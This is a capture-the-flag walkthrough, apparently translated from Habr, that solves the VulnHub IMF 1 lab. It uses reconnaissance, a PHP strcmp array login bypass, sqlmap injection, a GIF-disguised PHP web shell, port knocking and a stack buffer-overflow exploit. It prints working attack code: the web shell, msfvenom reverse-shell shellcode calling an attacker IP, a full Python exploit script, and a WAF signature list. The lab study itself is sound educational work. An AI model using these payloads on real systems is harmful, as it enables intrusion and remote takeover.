📜 ⬆️ ⬇️

VulnHub: IMF parsing 1 and another buffer overflow


This time we will consider Boot2Root IMF 1 from VulnHub . There are 6 flags, each of which contains a hint for the next one. I also recommend that you familiarize yourself with the analysis of previous tasks.

Let's start


Let's start as usual with port scanning:

$ sudo arp-scan -l -I wlan0| grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535 

Starting Nmap 7.01 ( nmap.org ) at 2016-12-25 22:41 MSK
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.40% done; Etc: 22:44 (0:03:31 remaining)
Nmap scan report for 192.168.1.116
Host is up (0.00046s latency).
PORT STATE SERVICE VERSION
80 / tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08: 00: 27: 40: 8D: 1B (Oracle VirtualBox virtual NIC)

Flag 1


We start to search for directories on the site:
')
 $ sudo dirsearch -u 'http://192.168.1.116' -e php,html,bak,txt,jpg,json -w /usr/share/dirb/wordlists/big.txt -r -f -x 403 


Looking through each of the found pages and their code, on the contact.php page, we find the first flag:

 <section id="service"> <div class="container"> <!-- flag1{YWxsdGhlZmlsZXM=} --> <div class="service-wrapper"> <div class="row"> <div class="col-md-4 col-sm-6"> <div class="block wow fadeInRight" data-wow-delay="1s"> <div class="icon"> <i class="fa fa-desktop"></i> </div> <h3>Roger S. Michaels</h3> <p>rmichaels@imf.local</p> <p>Director</p> </div> </div> <div class="col-md-4 col-sm-6"> <div class="block wow fadeInRight" data-wow-delay="1.3s"> <div class="icon"> <i class="fa fa-paper-plane"></i> </div> <h3>Alexander B. Keith</h3> <p>akeith@imf.local</p> <p>Deputy Director</p> </div> </div> <div class="col-md-4 col-sm-6"> <div class="block wow fadeInRight" data-wow-delay="1.6s"> <div class="icon"> <i class="fa fa-file-text"></i> </div> <h3>Elizabeth R. Stone</h3> <p>estone@imf.local</p> <p>Chief of Staff</p> </div> </div> </div> </div> </div> </section> 

In addition to the flag flag1 {YWxsdGhlZmlsZXM =} , we also find here a list of e-mail addresses of employees:
estone@imf.local
akeith@imf.local
rmichaels@imf.local

Let's save it for now, and by decoding the flag, we get a hint to the following:

 $ echo YWxsdGhlZmlsZXM= | base64 -d allthefiles 

Flag 2


Upon careful viewing, in the same code page you can see this section:

  <script src="js/ZmxhZzJ7YVcxbVl.js"></script> <script src="js/XUnRhVzVwYzNS.js"></script> <script src="js/eVlYUnZjZz09fQ==.min.js"></script> 

It looks like base64. Combining everything together, we get the second flag:

 $ echo ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== | base64 -d flag2{aW1mYWRtaW5pc3RyYXRvcg==} $ echo aW1mYWRtaW5pc3RyYXRvcg== | base64 -d imfadministrator 

Flag 3


On the resulting page, the authorization form is spinning, and a rather interesting comment in the page code:


 <form method="POST" action=""> <label>Username:</label><input type="text" name="user" value=""><br /> <label>Password:</label><input type="password" name="pass" value=""><br /> <input type="submit" value="Login"> <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --> </form> 

Hmm, most often, PHP is used either == or strcmp to compare strings with case-insensitive PHP. The latter has one feature, the function will return 0 if the string is compared with an array.

Check it out here. Replacing pass with pass [] , we try to log in with login: rmichaels. Everything is going well! +1 flag:

 flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, rmichaels<br /><a href='cms.php?pagename=home'>IMF CMS</a> 

 $ echo Y29udGludWVUT2Ntcw== | base64 -d continueTOcms 

Flag 4


Follow the link and get to the page:


The presence of parameters in the address bar immediately hints at the presence of the database, or Path Traversal . Therefore, we give the page to sqlmap and enjoy the result:

 sudo sqlmap -u 'http://192.168.1.116/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=pms0cbae74vmfta3spk4kac5q5' --level=5 --risk=3 --dbs --random-agent 

We receive several informative messages:
[15:23:55] [INFO] GET parameter 'pagename' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string = "the")
[15:23:55] [INFO] heuristic (extended) test shows that back-end DBMS could be 'MySQL'
[15:24:10] [INFO] GET parameter 'pagename' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable

And ultimately, sqlmap gives a list of available databases:
available databases [5]:
[*] admin
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

Here the Admin database is the most interesting, with a single table of pages.

Dump this table


Here we see the presence of another hidden page tutorials-incomplete . As you can see from the code, there is only one image:



The QR code here is clearly superfluous, cut it out and send it to the site , where we get the next flag: flag4 {dXBsb2Fkcjk0Mi5waHA =} and a hint:

 $ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d uploadr942.php 

Flag 5


Going to the page, the file upload form opens. After several attempts, we determine that only images can be uploaded: both the header and the file extension are checked. After a successful download, in the code of the page we find the name of the downloaded file:

 <html> <head> <title>File Uploader</title> </head> <body> <h1>Intelligence Upload Form</h1> File successfully uploaded. <!-- 4e8c80f6f326 --><form id="Upload" action="" enctype="multipart/form-data" method="post"> <p> <label for="file">File to upload:</label> <input id="file" type="file" name="file"> </p> <p> <input id="submit" type="submit" name="submit" value="Upload"> </p> </form> </body> </html> 

Checking the uploads directory, we find our file there. We try to fill the shell through the shell.gif file:

 GIF89a <?php system($_GET['cmd']); ?> 

And we get an error in reply!


OK, from the PHP documentation for the system and exec functions, you can find out that instead of them you can also use the following construct:

 echo `id`; 

Fix the shell and try it out:

 GIF89a <?php $cmd=$_GET['cmd']; print(`$cmd`); ?> 


It worked! Fine! Find in the same directory the fifth flag flag5 {YWdlbnRzZXJ2aWNlcw ==} . And another clue where to go next:

 $ echo YWdlbnRzZXJ2aWNlcw== | base64 -d agentservices 

Flag 6


Let's try to search for this service using the loaded PHP shell (commands executed via this shell will start with ">"). The output of running services gave nothing, but the services file turned out to be interesting:

 > cat /etc/services | grep agent cmip-agent 164/tcp cmip-agent 164/udp zabbix-agent 10050/tcp # Zabbix Agent zabbix-agent 10050/udp agent 7788/tcp # Agent service 

Everything is standard except the last line. But nmap did not find this port open, perhaps the service needs to be started, or here port knocking .

Run it:

 > agent 


The service started, issued a greeting, but the port is still not available. Having tried to find the service, we find next to an interesting file:

 > whereis agent agent: /usr/local/bin/agent > ls -ahl /usr/local/bin/ -rw-r--r-- 1 root root 19 Oct 16 08:11 access_codes -rwxr-xr-x 1 root root 12K Oct 12 22:39 agent > cat /usr/local/bin/access_codes SYN 7482,8279,9467 

Yes, it is very similar to port knocking, check:

 sudo knock 192.168.1.116 7482 8279 9467; sudo nmap 192.168.1.116 -p7788 

Starting Nmap 7.01 ( nmap.org ) at 2016-12-30 22:31 MSK
Nmap scan report for 192.168.1.116
Host is up (0.00030s latency).
PORT STATE SERVICE
7788 / tcp open unknown
MAC Address: 08: 00: 27: 40: 8D: 1B (Oracle VirtualBox virtual NIC)

The port opened, after connecting to it, we again receive the invitation of the agent service. This is all well and good, but to continue interacting with this service, he needs to pass an ID . Therefore, we download it for further analysis:

 $ nc -l -p 9999 > agent > nc 192.168.1.124 9999 < /usr/local/bin/agent 

Opening it in IDA, and going to the main function, you can find the correct ID


Then, after viewing the code, it becomes clear that after entering the ID service opens the menu, and depending on the selected item, launches this or that function, the report function turned out to be the most interesting.


Given that there are no user input checks, we get the most common buffer overflow. Run it in the peda and find the offset at which the return address is located. Create a pattern:


Pass it to the report function.


After the collapse, we find the offset.


Great, you can start writing an exploit.

Use the shell from Metasploit :

 $ sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d" 

 import socket port = 7788 host = '192.168.1.116' agent_id = 48093572 buf = "" buf += "\xba\xd0\xda\xa0\x74\xd9\xee\xd9\x74\x24\xf4\x58\x33" buf += "\xc9\xb1\x12\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2" buf += "\x25\xeb\x7b\x83\x26\x5f\x3f\x3f\xc2\x62\x0f\xd9\x9b" buf += "\x82\xa2\xa6\x0c\x1f\x55\x67\x9a\xa1\xd9\x0f\xd8\xa1" buf += "\x06\xdf\x55\x40\x22\xb9\x3d\xd3\xe2\x12\x34\x32\x47" buf += "\x50\xc6\x07\x4f\xd3\xc6\x77\x50\x23\x4f\x94\x91\xc8" buf += "\x43\x9a\xf1\x03\xeb\x61\x3b\x9b\x50\x13\x22\x05\xd0" buf += "\x2f\x15\x35\xd1\xb0\xaa\xdb" shell = buf shell += "\x90"*(168-len(shell)) 

If you look closely at the output of the peda after the crash of the application, during local debugging, you will notice that the EAX register indicates the beginning of the stack:


ASLR is enabled on the attacked host, it can be seen after executing the command:

 > cat /proc/sys/kernel/randomize_va_space 2 

Therefore, we use a method that is also known as ret2reg . For example, here you can read more about it.


We need the address (0x08048563) found. We add it to the exploit:

 shell += "\x63\x85\x04\x08" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall('%s\n' %(agent_id)) s.sendall('3\n') s.sendall(shell) data = s.recv(1024) print(data) 

Launch Metasploit :


Finally, after launching our exploit, we get a shell with root rights:

 $ python ./exploit_bof.py 


And actually pick up the last flag:


Decode it:

 $ echo R2gwc3RQcm90MGMwbHM= | base64 -d Gh0stProt0c0ls 


PS This is how the files from the root directory of the web server look like:

index.php
 <?php session_start(); $loggedin=false; if ($_SESSION['admin_logged_on'] == 'that is affirmative sir') { echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>"; $loggedin=true; } elseif (isset($_POST["user"]) && isset($_POST["pass"])) { $password = "398fj289fj2389fj398fjhhds^&#hkseifw3893h#(&$$*838hjf"; sleep(3); // do not bruteforce if ($_POST["user"]=='rmichaels') { if (strcmp($password, $_POST["pass"]) == 0) { $_SESSION['admin_logged_on'] = 'that is affirmative sir'; echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>"; $loggedin=true; } else { echo "Invalid password"; } } else { echo "Invalid username."; } } if($loggedin===false) { ?> <form method="POST" action=""> <label>Username:</label><input type="text" name="user" value=""><br /> <label>Password:</label><input type="password" name="pass" value=""><br /> <input type="submit" value="Login"> <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --> </form> <?php } ?> 


uploadr942.php
 <html> <head> <title>File Uploader</title> </head> <body> <h1>Intelligence Upload Form</h1> <?php // This is an example of how NOT to write a Web Application Firewall function crappyWAF($content) { $signatures = array( '/\/\*<\?php \/\*\*\//i' => 'Meterpreter payload detected', '/eval/i' => 'Eval php function detected', '/base64_decode/i' => 'Base64_decode php function detected', '/fopen/i' => 'fopen php function detected', '/system/i' => 'system php function detected', '/passthru/i' => 'passthru php function detected', '/exec/i' => 'exec function php detected', '/pcntl_exec/i' => 'pcntl_exec php function detected', '/popen/i' => 'popen php function detected', '/fsockopen/i' => 'fsockopen php function detected', '/proc_open/i' => 'proc_open php function detected', '/fclose/i' => 'fclose php function detected' ); foreach($signatures as $signature=>$reason) { if(preg_match($signature, $content)) { return "CrappyWAF detected malware. Signature: " . $reason; } } return true; } $validextensions = array("jpeg", "jpg", "png", "gif"); if(isset($_FILES['file']['name'])) { if(!$_FILES['photo']['error']) { $temporary = explode(".", $_FILES["file"]["name"]); $file_extension = end($temporary); if ($_FILES["file"]["size"] > 100000) { Print "Error: File size too large."; } elseif ((($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/gif")) && in_array($file_extension, $validextensions)){ $contents = file_get_contents($_FILES['file']['tmp_name']); $waf = crappyWAF($contents); if($waf!==true) { print "Error: ".$waf; } else { if(exif_imagetype($_FILES['file']['tmp_name'])!==false) { //PHP Image Uploading Code $new_file_name = substr( md5(rand()), 0, 12); move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$new_file_name.".".$file_extension); print "File successfully uploaded.\n"; print "<!-- " . $new_file_name . " -->"; } else { print "Error: Invalid file data."; } } } else { print "Error: Invalid file type."; } } else { print "Error uploading file."; } } ?> <form id="Upload" action="" enctype="multipart/form-data" method="post"> <p> <label for="file">File to upload:</label> <input id="file" type="file" name="file"> </p> <p> <input id="submit" type="submit" name="submit" value="Upload"> </p> </form> </body> </html> 

Source: https://habr.com/ru/post/318814/


All Articles